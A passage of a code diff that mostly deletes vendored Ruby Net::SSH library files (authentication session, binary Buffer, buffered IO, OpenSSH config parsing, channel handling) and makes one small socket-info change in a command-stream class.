transport.send_message(transport.service_request("ssh-userauth"))
message = expect_message(SERVICE_ACCEPT)
key_manager = KeyManager.new(logger, options)
keys.each { |key| key_manager.add(key) } unless keys.empty?
key_data.each { |key2| key_manager.add_key_data(key2) } unless key_data.empty?
attempted = []
@auth_methods.each do |name|
next unless @allowed_auth_methods.include?(name)
attempted << name
debug { "trying #{name}" }
method = Methods.const_get(name.split(/\W+/).map { |p| p.capitalize }.join).new(self, :key_manager => key_manager)
return true if method.authenticate(next_service, username, password)
end
error { "all authorization methods failed (tried #{attempted.join(', ')})" }
return false
ensure
key_manager.finish if key_manager
end
# Blocks until a packet is received. It silently handles USERAUTH_BANNER
# packets, and will raise an error if any packet is received that is not
# valid during user authentication.
def next_message
loop do
packet = transport.next_message
case packet.type
when USERAUTH_BANNER
info { packet[:message] }
# TODO add a hook for people to retrieve the banner when it is sent
when USERAUTH_FAILURE
@allowed_auth_methods = packet[:authentications].split(/,/)
debug { "allowed methods: #{packet[:authentications]}" }
return packet
when USERAUTH_METHOD_RANGE, SERVICE_ACCEPT
return packet
when USERAUTH_SUCCESS
transport.hint :authenticated
return packet
else
raise Net::SSH::Exception, "unexpected message #{packet.type} (#{packet})"
end
end
end
# Blocks until a packet is received, and returns it if it is of the given
# type. If it is not, an exception is raised.
def expect_message(type)
message = next_message
unless message.type == type
raise Net::SSH::Exception, "expected #{type}, got #{message.type} (#{message})"
end
message
end
private
# Returns an array of paths to the key files that should be used when
# attempting any key-based authentication mechanism.
def keys
Array(
options[:keys] # ||
# %w(~/.ssh/id_dsa ~/.ssh/id_rsa ~/.ssh2/id_dsa ~/.ssh2/id_rsa)
)
end
# Returns an array of the key data that should be used when
# attempting any key-based authentication mechanism.
def key_data
Array(options[:key_data])
end
end
end; end; end
-341
View File
@@ -1,341 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/ruby_compat'
require 'net/ssh/transport/openssl'
module Net; module SSH
# Net::SSH::Buffer is a flexible class for building and parsing binary
# data packets. It provides a stream-like interface for sequentially
# reading data items from the buffer, as well as a useful helper method
# for building binary packets given a signature.
#
# Writing to a buffer always appends to the end, regardless of where the
# read cursor is. Reading, on the other hand, always begins at the first
# byte of the buffer and increments the read cursor, with subsequent reads
# taking up where the last left off.
#
# As a consumer of the Net::SSH library, you will rarely come into contact
# with these buffer objects directly, but it could happen. Also, if you
# are ever implementing a protocol on top of SSH (e.g. SFTP), this buffer
# class can be quite handy.
class Buffer
# This is a convenience method for creating and populating a new buffer
# from a single command. The arguments must be even in length, with the
# first of each pair of arguments being a symbol naming the type of the
# data that follows. If the type is :raw, the value is written directly
# to the hash.
#
# b = Buffer.from(:byte, 1, :string, "hello", :raw, "\1\2\3\4")
# #-> "\1\0\0\0\5hello\1\2\3\4"
#
# The supported data types are:
#
# * :raw => write the next value verbatim (#write)
# * :int64 => write an 8-byte integer (#write_int64)
# * :long => write a 4-byte integer (#write_long)
# * :byte => write a single byte (#write_byte)
# * :string => write a 4-byte length followed by character data (#write_string)
# * :bool => write a single byte, interpreted as a boolean (#write_bool)
# * :bignum => write an SSH-encoded bignum (#write_bignum)
# * :key => write an SSH-encoded key value (#write_key)
#
# Any of these, except for :raw, accepts an Array argument, to make it
# easier to write multiple values of the same type in a briefer manner.
def self.from(*args)
raise ArgumentError, "odd number of arguments given" unless args.length % 2 == 0
buffer = new
0.step(args.length-1, 2) do |index|
type = args[index]
value = args[index+1]
if type == :raw
buffer.append(value.to_s)
elsif Array === value
buffer.send("write_#{type}", *value)
else
buffer.send("write_#{type}", value)
end
end
buffer
end
# exposes the raw content of the buffer
attr_reader :content
# the current position of the pointer in the buffer
attr_accessor :position
# Creates a new buffer, initialized to the given content. The position
# is initialized to the beginning of the buffer.
def initialize(content="")
@content = content.to_s
@position = 0
end
# Returns the length of the buffer's content.
def length
@content.length
end
# Returns the number of bytes available to be read (e.g., how many bytes
# remain between the current position and the end of the buffer).
def available
length - position
end
# Returns a copy of the buffer's content.
def to_s
(@content || "").dup
end
# Compares the contents of the two buffers, returning +true+ only if they
# are identical in size and content.
def ==(buffer)
to_s == buffer.to_s
end
# Returns +true+ if the buffer contains no data (e.g., it is of zero length).
def empty?
@content.empty?
end
# Resets the pointer to the start of the buffer. Subsequent reads will
# begin at position 0.
def reset!
@position = 0
end
# Returns true if the pointer is at the end of the buffer. Subsequent
# reads will return nil, in this case.
def eof?
@position >= length
end
# Resets the buffer, making it empty. Also, resets the read position to
# 0.
def clear!
@content = ""
@position = 0
end
# Consumes n bytes from the buffer, where n is the current position
# unless otherwise specified. This is useful for removing data from the
# buffer that has previously been read, when you are expecting more data
# to be appended. It helps to keep the size of buffers down when they
# would otherwise tend to grow without bound.
#
# Returns the buffer object itself.
def consume!(n=position)
if n >= length
# optimize for a fairly common case
clear!
elsif n > 0
@content = @content[n..-1] || ""
@position -= n
@position = 0 if @position < 0
end
self
end
# Appends the given text to the end of the buffer. Does not alter the
# read position. Returns the buffer object itself.
def append(text)
@content << text
self
end
# Returns all text from the current pointer to the end of the buffer as
# a new Net::SSH::Buffer object.
def remainder_as_buffer
Buffer.new(@content[@position..-1])
end
# Reads all data up to and including the given pattern, which may be a
# String, Fixnum, or Regexp and is interpreted exactly as String#index
# does. Returns nil if nothing matches. Increments the position to point
# immediately after the pattern, if it does match. Returns all data up to
# and including the text that matched the pattern.
def read_to(pattern)
index = @content.index(pattern, @position) or return nil
length = case pattern
when String then pattern.length
when Fixnum then 1
when Regexp then $&.length
end
index && read(index+length)
end
# Reads and returns the next +count+ bytes from the buffer, starting from
# the read position. If +count+ is +nil+, this will return all remaining
# text in the buffer. This method will increment the pointer.
def read(count=nil)
count ||= length
count = length - @position if @position + count > length
@position += count
@content[@position-count, count]
end
# Reads (as #read) and returns the given number of bytes from the buffer,
# and then consumes (as #consume!) all data up to the new read position.
def read!(count=nil)
data = read(count)
consume!
data
end
# Return the next 8 bytes as a 64-bit integer (in network byte order).
# Returns nil if there are less than 8 bytes remaining to be read in the
# buffer.
def read_int64
hi = read_long or return nil
lo = read_long or return nil
return (hi << 32) + lo
end
# Return the next four bytes as a long integer (in network byte order).
# Returns nil if there are less than 4 bytes remaining to be read in the
# buffer.
def read_long
b = read(4) or return nil
b.unpack("N").first
end
# Read and return the next byte in the buffer. Returns nil if called at
# the end of the buffer.
def read_byte
b = read(1) or return nil
b.getbyte(0)
end
# Read and return an SSH2-encoded string. The string starts with a long
# integer that describes the number of bytes remaining in the string.
# Returns nil if there are not enough bytes to satisfy the request.
def read_string
length = read_long or return nil
read(length)
end
# Read a single byte and convert it into a boolean, using 'C' rules
# (i.e., zero is false, non-zero is true).
def read_bool
b = read_byte or return nil
b != 0
end
# Read a bignum (OpenSSL::BN) from the buffer, in SSH2 format. It is
# essentially just a string, which is reinterpreted to be a bignum in
# binary format.
def read_bignum
data = read_string
return unless data
OpenSSL::BN.new(data, 2)
end
# Read a key from the buffer. The key will start with a string
# describing its type. The remainder of the key is defined by the
# type that was read.
def read_key
type = read_string
return (type ? read_keyblob(type) : nil)
end
# Read a keyblob of the given type from the buffer, and return it as
# a key. Only RSA and DSA keys are supported.
def read_keyblob(type)
case type
when "ssh-dss"
key = OpenSSL::PKey::DSA.new
key.p = read_bignum
key.q = read_bignum
key.g = read_bignum
key.pub_key = read_bignum
when "ssh-rsa"
key = OpenSSL::PKey::RSA.new
key.e = read_bignum
key.n = read_bignum
else
raise NotImplementedError, "unsupported key type `#{type}'"
end
return key
end
# Reads the next string from the buffer, and returns a new Buffer
# object that wraps it.
def read_buffer
Buffer.new(read_string)
end
# Writes the given data literally into the string. Does not alter the
# read position. Returns the buffer object.
def write(*data)
data.each { |datum| @content << datum }
self
end
# Writes each argument to the buffer as a network-byte-order-encoded
# 64-bit integer (8 bytes). Does not alter the read position. Returns the
# buffer object.
def write_int64(*n)
n.each do |i|
hi = (i >> 32) & 0xFFFFFFFF
lo = i & 0xFFFFFFFF
@content << [hi, lo].pack("N2")
end
self
end
# Writes each argument to the buffer as a network-byte-order-encoded
# long (4-byte) integer. Does not alter the read position. Returns the
# buffer object.
def write_long(*n)
@content << n.pack("N*")
self
end
# Writes each argument to the buffer as a byte. Does not alter the read
# position. Returns the buffer object.
def write_byte(*n)
n.each { |b| @content << b.chr }
self
end
# Writes each argument to the buffer as an SSH2-encoded string. Each
# string is prefixed by its length, encoded as a 4-byte long integer.
# Does not alter the read position. Returns the buffer object.
def write_string(*text)
text.each do |string|
s = string.to_s
write_long(s.length)
write(s)
end
self
end
# Writes each argument to the buffer as a (C-style) boolean, with 1
# meaning true, and 0 meaning false. Does not alter the read position.
# Returns the buffer object.
def write_bool(*b)
b.each { |v| @content << (v ? "\1" : "\0") }
self
end
# Writes each argument to the buffer as a bignum (SSH2-style). No
# checking is done to ensure that the arguments are, in fact, bignums.
# Does not alter the read position. Returns the buffer object.
def write_bignum(*n)
@content << n.map { |b| b.to_ssh }.join
self
end
# Writes the given arguments to the buffer as SSH2-encoded keys. Does not
# alter the read position. Returns the buffer object.
def write_key(*key)
key.each { |k| append(k.to_blob) }
self
end
end
end; end;
-150
View File
@@ -1,150 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/buffer'
require 'net/ssh/loggable'
module Net; module SSH
# This module is used to extend sockets and other IO objects, to allow
# them to be buffered for both read and write. This abstraction makes it
# quite easy to write a select-based event loop
# (see Net::SSH::Connection::Session#listen_to).
#
# The general idea is that instead of calling #read directly on an IO that
# has been extended with this module, you call #fill (to add pending input
# to the internal read buffer), and then #read_available (to read from that
# buffer). Likewise, you don't call #write directly, you call #enqueue to
# add data to the write buffer, and then #send_pending or #wait_for_pending_sends
# to actually send the data across the wire.
#
# In this way you can easily use the object as an argument to IO.select,
# calling #fill when it is available for read, or #send_pending when it is
# available for write, and then call #enqueue and #read_available during
# the idle times.
#
# socket = Rex::Socket::Tcp.create( ... address, ... port ... )
# socket.extend(Net::SSH::BufferedIo)
#
# ssh.listen_to(socket)
#
# ssh.loop do
# if socket.available > 0
# puts socket.read_available
# socket.enqueue("response\n")
# end
# end
#
# Note that this module must be used to extend an instance, and should not
# be included in a class. If you do want to use it via an include, then you
# must make sure to invoke the private #initialize_buffered_io method in
# your class' #initialize method:
#
# class Foo < IO
# include Net::SSH::BufferedIo
#
# def initialize
# initialize_buffered_io
# # ...
# end
# end
module BufferedIo
include Loggable
# Called when the #extend is called on an object, with this module as the
# argument. It ensures that the modules instance variables are all properly
# initialized.
def self.extended(object) #:nodoc:
# need to use __send__ because #send is overridden in Socket
object.__send__(:initialize_buffered_io)
end
# Tries to read up to +n+ bytes of data from the remote end, and appends
# the data to the input buffer. It returns the number of bytes read, or 0
# if no data was available to be read.
def fill(n=8192)
input.consume!
data = recv(n)
debug { "read #{data.length} bytes" }
input.append(data)
return data.length
end
# Read up to +length+ bytes from the input buffer. If +length+ is nil,
# all available data is read from the buffer. (See #available.)
def read_available(length=nil)
input.read(length || available)
end
# Returns the number of bytes available to be read from the input buffer.
# (See #read_available.)
def available
input.available
end
# Enqueues data in the output buffer, to be written when #send_pending
# is called. Note that the data is _not_ sent immediately by this method!
def enqueue(data)
output.append(data)
end
# Returns +true+ if there is data waiting in the output buffer, and
# +false+ otherwise.
def pending_write?
output.length > 0
end
# Sends as much of the pending output as possible. Returns +true+ if any
# data was sent, and +false+ otherwise.
def send_pending
if output.length > 0
sent = send(output.to_s, 0)
debug { "sent #{sent} bytes" }
output.consume!(sent)
return sent > 0
else
return false
end
end
# Calls #send_pending repeatedly, if necessary, blocking until the output
# buffer is empty.
def wait_for_pending_sends
send_pending
while output.length > 0
result = IO.select(nil, [self]) or next
next unless result[1].any?
send_pending
end
end
public # these methods are primarily for use in tests
def write_buffer #:nodoc:
output.to_s
end
def read_buffer #:nodoc:
input.to_s
end
private
#--
# Can't use attr_reader here (after +private+) without incurring the
# wrath of "ruby -w". We hates it.
#++
def input; @input; end
def output; @output; end
# Initializes the intput and output buffers for this object. This method
# is called automatically when the module is mixed into an object via
# Object#extend (see Net::SSH::BufferedIo.extended), but must be called
# explicitly in the +initialize+ method of any class that uses
# Module#include to add this module.
def initialize_buffered_io
@input = Net::SSH::Buffer.new
@output = Net::SSH::Buffer.new
end
end
end; end
+1 -1
View File
@@ -26,7 +26,7 @@ class CommandStream
self.thread = Thread.new(ssh,cmd,cleanup) do |rssh,rcmd,rcleanup|
begin
info = rssh.transport.socket.getpeername
info = rssh.transport.socket.getpeername_as_array
self.lsock.peerinfo = "#{info[1]}:#{info[2]}"
info = rssh.transport.socket.getsockname
-182
View File
@@ -1,182 +0,0 @@
# -*- coding: binary -*-
module Net; module SSH
# The Net::SSH::Config class is used to parse OpenSSH configuration files,
# and translates that syntax into the configuration syntax that Net::SSH
# understands. This lets Net::SSH scripts read their configuration (to
# some extent) from OpenSSH configuration files (~/.ssh/config, /etc/ssh_config,
# and so forth).
#
# Only a subset of OpenSSH configuration options are understood:
#
# * Ciphers => maps to the :encryption option
# * Compression => :compression
# * CompressionLevel => :compression_level
# * ConnectTimeout => maps to the :timeout option
# * ForwardAgent => :forward_agent
# * GlobalKnownHostsFile => :global_known_hosts_file
# * HostBasedAuthentication => maps to the :auth_methods option
# * HostKeyAlgorithms => maps to :host_key option
# * HostKeyAlias => :host_key_alias
# * HostName => :host_name
# * IdentityFile => maps to the :keys option
# * Macs => maps to the :hmac option
# * PasswordAuthentication => maps to the :auth_methods option
# * Port => :port
# * PreferredAuthentications => maps to the :auth_methods option
# * RekeyLimit => :rekey_limit
# * User => :user
# * UserKnownHostsFile => :user_known_hosts_file
#
# Note that you will never need to use this class directly--you can control
# whether the OpenSSH configuration files are read by passing the :config
# option to Net::SSH.start. (They are, by default.)
class Config
class <<self
@@default_files = %w(~/.ssh/config /etc/ssh_config /etc/ssh/ssh_config)
# Returns an array of locations of OpenSSH configuration files
# to parse by default.
def default_files
@@default_files
end
# Loads the configuration data for the given +host+ from all of the
# given +files+ (defaulting to the list of files returned by
# #default_files), translates the resulting hash into the options
# recognized by Net::SSH, and returns them.
def for(host, files=default_files)
translate(files.inject({}) { |settings, file| load(file, host, settings) })
end
# Load the OpenSSH configuration settings in the given +file+ for the
# given +host+. If +settings+ is given, the options are merged into
# that hash, with existing values taking precedence over newly parsed
# ones. Returns a hash containing the OpenSSH options. (See
# #translate for how to convert the OpenSSH options into Net::SSH
# options.)
def load(file, host, settings={})
file = File.expand_path(file)
return settings unless File.readable?(file)
in_match = false
IO.foreach(file) do |line|
next if line =~ /^\s*(?:#.*)?$/
if line =~ /^\s*(\S+)\s*=(.*)$/
key, value = $1, $2
else
key, value = line.strip.split(/\s+/, 2)
end
# silently ignore malformed entries
next if value.nil?
key.downcase!
value = $1 if value =~ /^"(.*)"$/
value = case value.strip
when /^\d+$/ then value.to_i
when /^no$/i then false
when /^yes$/i then true
else value
end
if key == 'host'
in_match = (host =~ pattern2regex(value))
elsif in_match
if key == 'identityfile'
settings[key] ||= []
settings[key] << value
else
settings[key] = value unless settings.key?(key)
end
end
end
return settings
end
# Given a hash of OpenSSH configuration options, converts them into
# a hash of Net::SSH options. Unrecognized options are ignored. The
# +settings+ hash must have Strings for keys, all downcased, and
# the returned hash will have Symbols for keys.
def translate(settings)
settings.inject({}) do |hash, (key, value)|
case key
when 'ciphers' then
hash[:encryption] = value.split(/,/)
when 'compression' then
hash[:compression] = value
when 'compressionlevel' then
hash[:compression_level] = value
when 'connecttimeout' then
hash[:timeout] = value
when 'forwardagent' then
hash[:forward_agent] = value
when 'globalknownhostsfile'
hash[:global_known_hosts_file] = value
when 'hostbasedauthentication' then
if value
hash[:auth_methods] ||= []
hash[:auth_methods] << "hostbased"
end
when 'hostkeyalgorithms' then
hash[:host_key] = value.split(/,/)
when 'hostkeyalias' then
hash[:host_key_alias] = value
when 'hostname' then
hash[:host_name] = value
when 'identityfile' then
hash[:keys] = value
when 'macs' then
hash[:hmac] = value.split(/,/)
when 'passwordauthentication'
if value
hash[:auth_methods] ||= []
hash[:auth_methods] << "password"
end
when 'port'
hash[:port] = value
when 'preferredauthentications'
hash[:auth_methods] = value.split(/,/)
when 'pubkeyauthentication'
if value
hash[:auth_methods] ||= []
hash[:auth_methods] << "publickey"
end
when 'rekeylimit'
hash[:rekey_limit] = interpret_size(value)
when 'user'
hash[:user] = value
when 'userknownhostsfile'
hash[:user_known_hosts_file] = value
end
hash
end
end
private
# Converts an ssh_config pattern into a regex for matching against
# host names.
def pattern2regex(pattern)
pattern = "^" + pattern.to_s.gsub(/\./, "\\.").
gsub(/\?/, '.').
gsub(/\*/, '.*') + "$"
Regexp.new(pattern, true)
end
# Converts the given size into an integer number of bytes.
def interpret_size(size)
case size
when /k$/i then size.to_i * 1024
when /m$/i then size.to_i * 1024 * 1024
when /g$/i then size.to_i * 1024 * 1024 * 1024
else size.to_i
end
end
end
end
end; end
-626
View File
@@ -1,626 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/loggable'
require 'net/ssh/connection/constants'
require 'net/ssh/connection/term'
module Net; module SSH; module Connection
# The channel abstraction. Multiple "channels" can be multiplexed onto a
# single SSH channel, each operating independently and seemingly in parallel.
# This class represents a single such channel. Most operations performed
# with the Net::SSH library will involve using one or more channels.
#
# Channels are intended to be used asynchronously. You request that one be
# opened (via Connection::Session#open_channel), and when it is opened, your
# callback is invoked. Then, you set various other callbacks on the newly
# opened channel, which are called in response to the corresponding events.
# Programming with Net::SSH works best if you think of your programs as
# state machines. Complex programs are best implemented as objects that
# wrap a channel. See Net::SCP and Net::SFTP for examples of how complex
# state machines can be built on top of the SSH protocol.
#
# ssh.open_channel do |channel|
# channel.exec("/invoke/some/command") do |ch, success|
# abort "could not execute command" unless success
#
# channel.on_data do |ch, data|
# puts "got stdout: #{data}"
# channel.send_data "something for stdin\n"
# end
#
# channel.on_extended_data do |ch, type, data|
# puts "got stderr: #{data}"
# end
#
# channel.on_close do |ch|
# puts "channel is closing!"
# end
# end
# end
#
# ssh.loop
#
# Channels also have a basic hash-like interface, that allows programs to
# store arbitrary state information on a channel object. This helps simplify
# the writing of state machines, especially when you may be juggling
# multiple open channels at the same time.
#
# Note that data sent across SSH channels are governed by maximum packet
# sizes and maximum window sizes. These details are managed internally
# by Net::SSH::Connection::Channel, so you may remain blissfully ignorant
# if you so desire, but you can always inspect the current maximums, as
# well as the remaining window size, using the reader attributes for those
# values.
class Channel
include Constants, Loggable
# The local id for this channel, assigned by the Net::SSH::Connection::Session instance.
attr_reader :local_id
# The remote id for this channel, assigned by the remote host.
attr_reader :remote_id
# The type of this channel, usually "session".
attr_reader :type
# The underlying Net::SSH::Connection::Session instance that supports this channel.
attr_reader :connection
# The maximum packet size that the local host can receive.
attr_reader :local_maximum_packet_size
# The maximum amount of data that the local end of this channel can
# receive. This is a total, not per-packet.
attr_reader :local_maximum_window_size
# The maximum packet size that the remote host can receive.
attr_reader :remote_maximum_packet_size
# The maximum amount of data that the remote end of this channel can
# receive. This is a total, not per-packet.
attr_reader :remote_maximum_window_size
# This is the remaining window size on the local end of this channel. When
# this reaches zero, no more data can be received.
attr_reader :local_window_size
# This is the remaining window size on the remote end of this channel. When
# this reaches zero, no more data can be sent.
attr_reader :remote_window_size
# A hash of properties for this channel. These can be used to store state
# information about this channel. See also #[] and #[]=.
attr_reader :properties
# The output buffer for this channel. Data written to the channel is
# enqueued here, to be written as CHANNEL_DATA packets during each pass of
# the event loop. See Connection::Session#process and #enqueue_pending_output.
attr_reader :output #:nodoc:
# The list of pending requests. Each time a request is sent which requires
# a reply, the corresponding callback is pushed onto this queue. As responses
# arrive, they are shifted off the front and handled.
attr_reader :pending_requests #:nodoc:
# Instantiates a new channel on the given connection, of the given type,
# and with the given id. If a block is given, it will be remembered until
# the channel is confirmed open by the server, and will be invoked at
# that time (see #do_open_confirmation).
#
# This also sets the default maximum packet size and maximum window size.
def initialize(connection, type, local_id, &on_confirm_open)
self.logger = connection.logger
@connection = connection
@type = type
@local_id = local_id
@local_maximum_packet_size = 0x10000
@local_window_size = @local_maximum_window_size = 0x20000
@on_confirm_open = on_confirm_open
@output = Buffer.new
@properties = {}
@pending_requests = []
@on_open_failed = @on_data = @on_extended_data = @on_process = @on_close = @on_eof = nil
@on_request = {}
@closing = @eof = false
end
# A shortcut for accessing properties of the channel (see #properties).
def [](name)
@properties[name]
end
# A shortcut for setting properties of the channel (see #properties).
def []=(name, value)
@properties[name] = value
end
# Syntactic sugar for executing a command. Sends a channel request asking
# that the given command be invoked. If the block is given, it will be
# called when the server responds. The first parameter will be the
# channel, and the second will be true or false, indicating whether the
# request succeeded or not. In this case, success means that the command
# is being executed, not that it has completed, and failure means that the
# command altogether failed to be executed.
#
# channel.exec "ls -l /home" do |ch, success|
# if success
# puts "command has begun executing..."
# # this is a good place to hang callbacks like #on_data...
# else
# puts "alas! the command could not be invoked!"
# end
# end
def exec(command, &block)
send_channel_request("exec", :string, command, &block)
end
# Syntactic sugar for requesting that a subsystem be started. Subsystems
# are a way for other protocols (like SFTP) to be run, using SSH as
# the transport. Generally, you'll never need to call this directly unless
# you are the implementor of something that consumes an SSH subsystem, like
# SFTP.
#
# channel.subsystem("sftp") do |ch, success|
# if success
# puts "subsystem successfully started"
# else
# puts "subsystem could not be started"
# end
# end
def subsystem(subsystem, &block)
send_channel_request("subsystem", :string, subsystem, &block)
end
# Syntactic sugar for setting an environment variable in the remote
# process' environment. Note that for security reasons, the server may
# refuse to set certain environment variables, or all, at the server's
# discretion. If you are connecting to an OpenSSH server, you will
# need to update the AcceptEnv setting in the sshd_config to include the
# environment variables you want to send.
#
# channel.env "PATH", "/usr/local/bin"
def env(variable_name, variable_value, &block)
send_channel_request("env", :string, variable_name, :string, variable_value, &block)
end
# A hash of the valid PTY options (see #request_pty).
VALID_PTY_OPTIONS = { :term => "xterm",
:chars_wide => 80,
:chars_high => 24,
:pixels_wide => 640,
:pixels_high => 480,
:modes => {} }
# Requests that a pseudo-tty (or "pty") be made available for this channel.
# This is useful when you want to invoke and interact with some kind of
# screen-based program (e.g., vim, or some menuing system).
#
# Note, that without a pty some programs (e.g. sudo, or subversion) on
# some systems, will not be able to run interactively, and will error
# instead of prompt if they ever need some user interaction.
#
# Note, too, that when a pty is requested, user's shell configuration
# scripts (.bashrc and such) are not run by default, whereas they are
# run when a pty is not present.
#
# channel.request_pty do |ch, success|
# if success
# puts "pty successfully obtained"
# else
# puts "could not obtain pty"
# end
# end
def request_pty(opts={}, &block)
extra = opts.keys - VALID_PTY_OPTIONS.keys
raise ArgumentError, "invalid option(s) to request_pty: #{extra.inspect}" if extra.any?
opts = VALID_PTY_OPTIONS.merge(opts)
modes = opts[:modes].inject(Buffer.new) do |memo, (mode, data)|
memo.write_byte(mode).write_long(data)
end
# mark the end of the mode opcode list with a 0 byte
modes.write_byte(0)
send_channel_request("pty-req", :string, opts[:term],
:long, opts[:chars_wide], :long, opts[:chars_high],
:long, opts[:pixels_wide], :long, opts[:pixels_high],
:string, modes.to_s, &block)
end
# Sends data to the channel's remote endpoint. This usually has the
# effect of sending the given string to the remote process' stdin stream.
# Note that it does not immediately send the data across the channel,
# but instead merely appends the given data to the channel's output buffer,
# preparatory to being packaged up and sent out the next time the connection
# is accepting data. (A connection might not be accepting data if, for
# instance, it has filled its data window and has not yet been resized by
# the remote end-point.)
#
# This will raise an exception if the channel has previously declared
# that no more data will be sent (see #eof!).
#
# channel.send_data("the password\n")
def send_data(data)
raise EOFError, "cannot send data if channel has declared eof" if eof?
output.append(data.to_s)
end
# Returns true if the channel exists in the channel list of the session,
# and false otherwise. This can be used to determine whether a channel has
# been closed or not.
#
# ssh.loop { channel.active? }
def active?
connection.channels.key?(local_id)
end
# Runs the SSH event loop until the channel is no longer active. This is
# handy for blocking while you wait for some channel to finish.
#
# channel.exec("grep ...") { ... }
# channel.wait
def wait
connection.loop { active? }
end
# Returns true if the channel is currently closing, but not actually
# closed. A channel is closing when, for instance, #close has been
# invoked, but the server has not yet responded with a CHANNEL_CLOSE
# packet of its own.
def closing?
@closing
end
# Requests that the channel be closed. If the channel is already closing,
# this does nothing, nor does it do anything if the channel has not yet
# been confirmed open (see #do_open_confirmation). Otherwise, it sends a
# CHANNEL_CLOSE message and marks the channel as closing.
def close
return if @closing
if remote_id
@closing = true
connection.send_message(Buffer.from(:byte, CHANNEL_CLOSE, :long, remote_id))
end
end
# Returns true if the local end of the channel has declared that no more
# data is forthcoming (see #eof!). Trying to send data via #send_data when
# this is true will result in an exception being raised.
def eof?
@eof
end
# Tells the remote end of the channel that no more data is forthcoming
# from this end of the channel. The remote end may still send data.
def eof!
return if eof?
@eof = true
connection.send_message(Buffer.from(:byte, CHANNEL_EOF, :long, remote_id))
end
# If an #on_process handler has been set up, this will cause it to be
# invoked (passing the channel itself as an argument). It also causes all
# pending output to be enqueued as CHANNEL_DATA packets (see #enqueue_pending_output).
def process
@on_process.call(self) if @on_process
enqueue_pending_output
end
# Registers a callback to be invoked when data packets are received by the
# channel. The callback is called with the channel as the first argument,
# and the data as the second.
#
# channel.on_data do |ch, data|
# puts "got data: #{data.inspect}"
# end
#
# Data received this way is typically the data written by the remote
# process to its +stdout+ stream.
def on_data(&block)
old, @on_data = @on_data, block
old
end
# Registers a callback to be invoked when extended data packets are received
# by the channel. The callback is called with the channel as the first
# argument, the data type (as an integer) as the second, and the data as
# the third. Extended data is almost exclusively used to send +stderr+ data
# (+type+ == 1). Other extended data types are not defined by the SSH
# protocol.
#
# channel.on_extended_data do |ch, type, data|
# puts "got stderr: #{data.inspect}"
# end
def on_extended_data(&block)
old, @on_extended_data = @on_extended_data, block
old
end
# Registers a callback to be invoked for each pass of the event loop for
# this channel. There are no guarantees on timeliness in the event loop,
# but it will be called roughly once for each packet received by the
# connection (not the channel). This callback is invoked with the channel
# as the sole argument.
#
# Here's an example that accumulates the channel data into a variable on
# the channel itself, and displays individual lines in the input one
# at a time when the channel is processed:
#
# channel[:data] = ""
#
# channel.on_data do |ch, data|
# channel[:data] << data
# end
#
# channel.on_process do |ch|
# if channel[:data] =~ /^.*?\n/
# puts $&
# channel[:data] = $'
# end
# end
def on_process(&block)
old, @on_process = @on_process, block
old
end
# Registers a callback to be invoked when the server acknowledges that a
# channel is closed. This is invoked with the channel as the sole argument.
#
# channel.on_close do |ch|
# puts "remote end is closing!"
# end
def on_close(&block)
old, @on_close = @on_close, block
old
end
# Registers a callback to be invoked when the server indicates that no more
# data will be sent to the channel (although the channel can still send
# data to the server). The channel is the sole argument to the callback.
#
# channel.on_eof do |ch|
# puts "remote end is done sending data"
# end
def on_eof(&block)
old, @on_eof = @on_eof, block
old
end
# Registers a callback to be invoked when the server was unable to open
# the requested channel. The channel itself will be passed to the block,
# along with the integer "reason code" for the failure, and a textual
# description of the failure from the server.
#
# channel = session.open_channel do |ch|
# # ..
# end
#
# channel.on_open_failed { |ch, code, desc| ... }
def on_open_failed(&block)
old, @on_open_failed = @on_open_failed, block
old
end
# Registers a callback to be invoked when a channel request of the given
# type is received. The callback will receive the channel as the first
# argument, and the associated (unparsed) data as the second. The data
# will be a Net::SSH::Buffer that you will need to parse, yourself,
# according to the kind of request you are watching.
#
# By default, if the request wants a reply, Net::SSH will send a
# CHANNEL_SUCCESS response for any request that was handled by a registered
# callback, and CHANNEL_FAILURE for any that wasn't, but if you want your
# registered callback to result in a CHANNEL_FAILURE response, just raise
# Net::SSH::ChannelRequestFailed.
#
# Some common channel requests that your programs might want to listen
# for are:
#
# * "exit-status" : the exit status of the remote process will be reported
# as a long integer in the data buffer, which you can grab via
# data.read_long.
# * "exit-signal" : if the remote process died as a result of a signal
# being sent to it, the signal will be reported as a string in the
# data, via data.read_string. (Not all SSH servers support this channel
# request type.)
#
# channel.on_request "exit-status" do |ch, data|
# puts "process terminated with exit status: #{data.read_long}"
# end
def on_request(type, &block)
old, @on_request[type] = @on_request[type], block
old
end
# Sends a new channel request with the given name. The extra +data+
# parameter must either be empty, or consist of an even number of
# arguments. See Net::SSH::Buffer.from for a description of their format.
# If a block is given, it is registered as a callback for a pending
# request, and the packet will be flagged so that the server knows a
# reply is required. If no block is given, the server will send no
# response to this request. Responses, where required, will cause the
# callback to be invoked with the channel as the first argument, and
# either true or false as the second, depending on whether the request
# succeeded or not. The meaning of "success" and "failure" in this context
# is dependent on the specific request that was sent.
#
# channel.send_channel_request "shell" do |ch, success|
# if success
# puts "user shell started successfully"
# else
# puts "could not start user shell"
# end
# end
#
# Most channel requests you'll want to send are already wrapped in more
# convenient helper methods (see #exec and #subsystem).
def send_channel_request(request_name, *data, &callback)
info { "sending channel request #{request_name.inspect}" }
msg = Buffer.from(:byte, CHANNEL_REQUEST,
:long, remote_id, :string, request_name,
:bool, !callback.nil?, *data)
connection.send_message(msg)
pending_requests << callback if callback
end
public # these methods are public, but for Net::SSH internal use only
# Enqueues pending output at the connection as CHANNEL_DATA packets. This
# does nothing if the channel has not yet been confirmed open (see
# #do_open_confirmation). This is called automatically by #process, which
# is called from the event loop (Connection::Session#process). You will
# generally not need to invoke it directly.
def enqueue_pending_output #:nodoc:
return unless remote_id
while output.length > 0
length = output.length
length = remote_window_size if length > remote_window_size
length = remote_maximum_packet_size if length > remote_maximum_packet_size
if length > 0
connection.send_message(Buffer.from(:byte, CHANNEL_DATA, :long, remote_id, :string, output.read(length)))
output.consume!
@remote_window_size -= length
else
break
end
end
end
# Invoked when the server confirms that a channel has been opened.
# The remote_id is the id of the channel as assigned by the remote host,
# and max_window and max_packet are the maximum window and maximum
# packet sizes, respectively. If an open-confirmation callback was
# given when the channel was created, it is invoked at this time with
# the channel itself as the sole argument.
def do_open_confirmation(remote_id, max_window, max_packet) #:nodoc:
@remote_id = remote_id
@remote_window_size = @remote_maximum_window_size = max_window
@remote_maximum_packet_size = max_packet
